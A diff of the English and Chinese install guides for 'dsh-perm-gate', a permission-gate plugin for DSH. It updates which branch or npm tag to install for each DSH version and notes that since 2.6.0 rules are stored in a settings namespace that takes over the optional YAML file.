@@ -23,19 +23,21 @@ decision chain, the rules file format and the 自动审查 tier.
 - A profile to install into — the browser half only ships for the `web` profile
   (`dsh.client.platform = "web"` in `package.json`).
 
-## Pick the tag for your DSH version
+## Pick the line for your DSH version
 
-One build serves both DSH lines, so either tag installs working code — the tag
-exists so a version you pin stays meaningful per line.
+Two long-lived branches serve two DSH lines: `main` (2.x) and
+`sync/0.1.5-from-main` (3.x, the DSH 0.1.5 packaging variant — `compat/0.1.5`
+points at the same tree).
 
 | Your DSH | Install |
 |----------|---------|
-| `0.1.2-alpha.1` or newer (incl. `0.1.5-rc.2`) | `dsh plugin --profile web add dsh-perm-gate` (tag `latest`) |
+| `0.1.2-alpha.1` – `0.1.5-rc.0` | `dsh plugin --profile web add dsh-perm-gate` (tag `latest`, the 2.x line) |
+| `0.1.5-rc.1` or newer | `dsh plugin --profile web add github:drscrewdriver/dsh-perm-gate#sync/0.1.5-from-main` (the 3.x line; no npm dist-tag yet — `@latest` installs the same code with 2.x packaging) |
 | up to `0.1.1-rc.2` | `dsh plugin --profile web add dsh-perm-gate@legacy` |
 
-DSH does not enforce `engines.dsh`, so the tags are the selection mechanism rather
-than a compatibility gate. See [RELEASING.md](./RELEASING.md) for why one artifact
-covers both lines and how the tags are published.
+DSH does not enforce `engines.dsh`, so tags and refs are the selection mechanism
+rather than a compatibility gate. See [RELEASING.md](./RELEASING.md) for how the
+lines and tags are laid out.
 
 ## Install with the official CLI
 
@@ -73,6 +75,12 @@ Add the plugin to your profile's `cordis.yml`:
     gatePresets: [permissive]       # tiers where the gate is active at all (default)
 ```
 
+Since 2.6.0 the rules themselves are stored in the `dsh-perm-gate-rules` settings
+namespace, and every change recompiles the gate in place. The YAML file above is
+optional: it is only read while the namespace is untouched, and the first rules
+write from the plugin (an allowlist approval, or an edit in the settings UI)
+absorbs the file's rules automatically.
+
 Start from [examples/permissions.example.yaml](./examples/permissions.example.yaml),
 then reload the profile.
 

package/INSTALL.zh.md

@@ -12,7 +12,7 @@
 - [日本語 changelog](./CHANGELOG.ja.md)
 - [한국어 changelog](./CHANGELOG.ko.md)
 
-`dsh-perm-gate` 版本 **2.1.2**。裁决链、规则文件格式与自动审查档位请见
+`dsh-perm-gate` 版本 **2.6.0**。裁决链、规则文件格式与自动审查档位请见
 [中文 README](./README.zh.md)。
 
 ## 前置条件
@@ -23,18 +23,19 @@
 - 需要一个目标 profile —— 浏览器端只为 `web` profile 构建（`package.json`
   里 `dsh.client.platform = "web"`）。
 
-## 按你的 DSH 版本选择 tag
+## 按你的 DSH 版本选择安装线
 
-单一构建同时覆盖两条 DSH 线，所以任一 tag 安装的代码都能工作 —— 保留 tag
-是为了让你锁定的版本在每条线上都有意义。
+两条长期分支分别服务两条 DSH 线：`main`（2.x）与 `sync/0.1.5-from-main`
+（3.x，DSH 0.1.5 打包变体 —— `compat/0.1.5` 指向同一棵代码树）。
 
 | 你的 DSH | 安装方式 |
 |----------|----------|
-| `0.1.2-alpha.1` 或更高（含 `0.1.5-rc.2`） | `dsh plugin --profile web add dsh-perm-gate`（tag `latest`） |
+| `0.1.2-alpha.1` – `0.1.5-rc.0` | `dsh plugin --profile web add dsh-perm-gate`（tag `latest`，2.x 线） |
+| `0.1.5-rc.1` 或更高 | `dsh plugin --profile web add github:drscrewdriver/dsh-perm-gate#sync/0.1.5-from-main`（3.x 线；npm 尚无对应 dist-tag —— `@latest` 安装的是相同代码的 2.x 打包） |
 | 不高于 `0.1.1-rc.2` | `dsh plugin --profile web add dsh-perm-gate@legacy` |
 
-DSH 不强制 `engines.dsh`，因此 tag 是选择机制而非兼容性关卡。
-详见 [RELEASING.md](./RELEASING.md) 了解为何单一制品覆盖两条线以及 tag 的发布方式。
+DSH 不强制 `engines.dsh`，因此 tag 与 ref 是选择机制而非兼容性关卡。
+各线与 tag 的发布布局详见 [RELEASING.md](./RELEASING.md)。
 
 ## 用官方 CLI 安装
 
@@ -70,6 +71,10 @@ dsh plugin --profile web add .
     defaultAction: ask              # allow | ask | deny
 ```
 
+自 2.6.0 起，规则本体存储在 `dsh-perm-gate-rules` settings 命名空间中，每次变更都会
+就地重编译闸门。上面的 YAML 文件变为可选：只有命名空间未被配置时才会读取它，插件
+发起的首次规则写入（白名单批准或设置界面编辑）会自动收编文件中的规则。
+
 可从 [examples/permissions.example.yaml](./examples/permissions.example.yaml) 起步，
 然后重载 profile。